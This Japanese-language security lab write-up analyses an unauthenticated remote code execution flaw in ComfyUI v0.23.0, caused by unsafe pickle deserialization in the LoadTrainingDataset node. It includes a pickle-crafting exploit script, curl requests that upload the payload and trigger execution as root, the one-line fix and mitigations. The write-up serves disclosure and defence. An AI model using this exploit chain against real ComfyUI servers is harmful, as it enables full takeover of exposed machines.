
セキュリティ研究ラボ — ComfyUI v0.23.0 における安全でないデシリアライゼーションを悪用した未認証 RCE (CVSS 9.8)。分離された Docker 環境、技術分析およびドキュメント。
教育目的のみ。所有しているシステム、またはテストの明示的な書面による許可を得ているシステムに対してのみ使用してください。
ComfyUIは、AI画像および動画生成モデルをローカルで実行するためのオープンソースのノードベースのグラフィカルインターフェースです。ユーザーはノードを視覚的に接続することで複雑な生成パイプラインを構築できます。各ノードは、モデルの読み込み、テキストプロンプトのエンコード、サンプリング、画像の後処理などの操作を表します。その柔軟性と幅広いモデル(Stable Diffusion、Flux、HunyuanVideoなど)のサポートにより、AI生成コミュニティで最も広く採用されているツールの1つとなっています。
このアプリケーションはポート8188でローカルHTTP APIを公開しており、フロントエンドはバックエンドと通信してアセットをアップロードし、生成ワークフローをキューに入れます。単一ユーザーのローカル利用を想定して設計されていますが、ComfyUIインスタンスが内部ネットワークやインターネット上に直接公開されているケースはよく見られます。クラウドGPU環境、共有研究環境、セルフホスト型クリエイティブスタジオなどで、追加の認証レイヤーなしで運用されていることが多く、これはまさにこの脆弱性が標的とする脅威モデルに一致します。
開示時点で、ComfyUIはGitHubで65,000以上のスターを持ち、カスタムノードと拡張機能の活発なエコシステムがあり、その多くがコアアプリケーションを超えた追加の攻撃対象領域を導入しています。
CVE-2026-68771は、ComfyUI v0.23.0における安全でないデシリアライゼーションの脆弱性(CWE-502)であり、未認証のリモート攻撃者がサーバー上で任意のコードを実行できるようにします。攻撃チェーンは2つの未認証エンドポイントを組み合わせます。POST /upload/imageで悪意のあるpickleファイルをアップロードし、POST /promptでLoadTrainingDatasetノードを介してそのデシリアライゼーションをトリガーします。
| 項目 | 値 |
|---|
| CVE | CVE-2026-68771 |
| CVSS 3.1 | 9.8 (Critical) |
| ベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 (信頼できないデータのデシリアライゼーション) |
| 脆弱なバージョン | ComfyUI v0.23.0 (および修正前のそれ以前) |
| 修正バージョン | Commit 94ee49b1612824366a8631ea069b2a1fa5c73720 |
| 公開日 | 2026年7月31日 |
weights_onlyデフォルト変更前のバージョン)POST /upload/image — server.py、450-453行目:
@routes.post("/upload/image")
async def upload_image(request):
post = await request.post()
return image_upload(post) # no session or token verification
POST /prompt — server.py、927-928行目:
@routes.post("/prompt")
async def post_prompt(request):
logging.info("got prompt")
json_data = await request.json()
# no session or token verification
...
self.prompt_queue.put((number, prompt_id, prompt, ...))
どちらのエンドポイントもアクセス制御を実装していません。任意のHTTPクライアントが認証なしでファイルをアップロードし、ワークフローをキューに入れることができます。
LoadTrainingDataset.execute()comfy_extras/nodes_dataset.py、1568行目:
@classmethod
def execute(cls, folder_name):
dataset_dir = os.path.join(folder_paths.get_output_directory(), folder_name)
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
for shard_file in shard_files:
shard_path = os.path.join(dataset_dir, shard_file)
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # ← VULNERABLE: weights_only not specified
weights_only=Trueを指定しないtorch.load()は、Pythonのpickleプロトコルを使用してファイルをデシリアライズします。pickleはデータ形式ではなく、デシリアライズ中に任意のオブジェクトの__reduce__メソッドを実行するPythonオブジェクトシリアライゼーションプロトコルであり、任意のコード実行を可能にします。
このノードはPyTorchの歴史的なデフォルト(weights_only=False)に依存しており、コードベース全体で唯一明示的なパラメータなしのtorch.load呼び出しとなっていました。コードベースの残りの部分(comfy/utils.py、comfy/sd1_clip.py)はすでに正しく渡していました。
攻撃者 (未認証)
[0] 悪意のあるPICKLEを作成
└─ (os.system, ("cmd",)) を返す __reduce__ を持つPythonオブジェクトをシリアライズ
└─ PyTorchの torch.save() 形式が有効な .pkl コンテナにラップ
└─ 出力: shard_0000.pkl — LoadTrainingDatasetが期待する有効なファイル名パターン
│
▼
[1] POST /upload/image
└─ shard_0000.pkl をアップロード (悪意のある __reduce__ を持つpickle)
└─ パラメータ: type=output, subfolder=cve_test
└─ レスポンス: 200 OK {"name":"shard_0000.pkl", ...}
└─ ファイルの配置先: /opt/comfyui/output/cve_test/shard_0000.pkl
│
▼
[2] POST /prompt
└─ LoadTrainingDatasetノードを含むJSONワークフロー
└─ folder_name: "cve_test" → アップロードされた .pkl を含むフォルダを指す
└─ レスポンス: 200 OK {"prompt_id": "...", "node_errors": {}}
│
▼
[3] LoadTrainingDataset.execute()
└─ ディレクトリ内の shard_0000.pkl を特定
└─ torch.load(f) → pickleをデシリアライズ
└─ __reduce__ が実行: os.system("id > /tmp/pwned.txt")
│
▼
[4] rootとしてRCE
└─ uid=0(root) gid=0(root) groups=0(root)
ペイロードはPythonのpickle __reduce__プロトコルを悪用します。torch.load()がファイルをデシリアライズすると、Pythonは__reduce__が返すcallableを呼び出してオブジェクトをインスタンス化し、アプリケーションロジックが実行される前に攻撃者が制御するコマンドを実行します。
ファイル名はパターン shard_*.pkl に一致する必要があります。これはLoadTrainingDataset.execute()でファイル検出フィルタとしてハードコードされています:
shard_files = sorted([
f for f in os.listdir(dataset_dir)
if f.startswith("shard_") and f.endswith(".pkl")
])
pickle_craft.py:
class Exploit:
def __reduce__(self):
return (os.system, (args.cmd,))
python3 pickle_craft.py --cmd "id > /tmp/pwned.txt"
出力:
[*] Crafting malicious pickle...
[*] Payload: __reduce__ → os.system('id > /tmp/pwned.txt')
[*] Filename must match pattern 'shard_*.pkl' (hardcoded filter in LoadTrainingDataset)
[+] Pickle crafted: shard_0000.pkl (57 bytes)
[+] Command embedded: 'id > /tmp/pwned.txt'
[+] Ready to upload via POST /upload/image
curl -s -X POST http://127.0.0.1:8188/upload/image \
-F "image=@shard_0000.pkl;type=application/octet-stream" \
-F "type=output" \
-F "subfolder=cve_test"
レスポンス:
{"name": "shard_0000.pkl", "subfolder": "cve_test", "type": "output"}
トークンなし、セッションなし、特別なヘッダーなしでHTTP 200。
curl -s -X POST http://127.0.0.1:8188/prompt \
-H "Content-Type: application/json" \
-d '{
"prompt": {
"1": {
"class_type": "LoadTrainingDataset",
"inputs": { "folder_name": "cve_test" }
},
"2": {
"class_type": "SaveTrainingDataset",
"inputs": {
"latents": ["1", 0],
"conditioning": ["1", 1],
"folder_name": "cve_test_out",
"shard_size": 1000
}
}
}
}'
レスポンス:
{"prompt_id": "1dbf8fd8-c149-41b3-a839-935cb2d408b4", "number": 1, "node_errors": {}}
root@73df6d3d11eb:/opt/comfyui# cat /tmp/pwned.txt
uid=0(root) gid=0(root) groups=0(root)
ファイル: comfy_extras/nodes_dataset.py
作者: Matt Miller
日付: 2026年6月18日
PR: #14543
- shard_data = torch.load(f)
+ shard_data = torch.load(f, weights_only=True)
たった1つのパラメータです。weights_only=Trueは、PyTorchにテンソルとPythonプリミティブ型のみを受け入れ、__reduce__を持つ任意のオブジェクトを拒否する制限付きデシリアライザを使用するよう指示します。
コミットメッセージはこれを明確に要約しています:
「LoadTrainingDatasetは、コードベース内でweights_only=Trueなしの唯一のtorch.load呼び出しでした。comfy/utils.pyとcomfy/sd1_clip.pyはすでに渡しています。最近のPyTorchはweights_only=Trueをデフォルトとしているため、これは古いPyTorchに固定されたインストールに対する多層防御です。」
PyTorchバージョンの注記: PyTorch 2.6以降、weights_onlyのデフォルト値がFalseからTrueに変更され、コード修正なしでも最新のPyTorchインストールではこの脆弱性が緩和されます。このCVEは特にPyTorch < 2.6を実行しているインストールに影響し、これは2026年7月の公開時の典型的な本番環境でした。
ComfyUIをコミット94ee49b以降に更新してください。コード1行です。
1. APIエンドポイントの認証
ComfyUIはローカル利用向けに設計されています。ネットワーク上に公開する場合は、基本認証を備えたリバースプロキシ(nginx/Caddy)で保護するか、適切なセッション管理を備えた--multi-userフラグを使用する必要があります。
2. ComfyUIをインターネットに直接公開しない
アプリケーション設計は信頼されたローカル環境を前提としています。CVSS 9.8のスコアは、アプリケーション層におけるアクセス制御の完全な欠如を反映しています。
3. アップロード時のファイルタイプ検証
/upload/imageエンドポイントは.pklを含む任意のファイル拡張子を受け入れます。実際の画像形式のホワイトリストに対してcontent-typeと拡張子を検証すべきです。
torch.load呼び出しにはすでにパラメータがあった)は、このノードがセキュリティレビューなしで追加されたことを示唆しています。weights_onlyのデフォルトを変更するまでに数年かかり、その期間中ずっと脆弱なコードが存在していました。分析は教育目的で隔離された環境で実施されました。ドキュメント作成後にラボは破棄されました。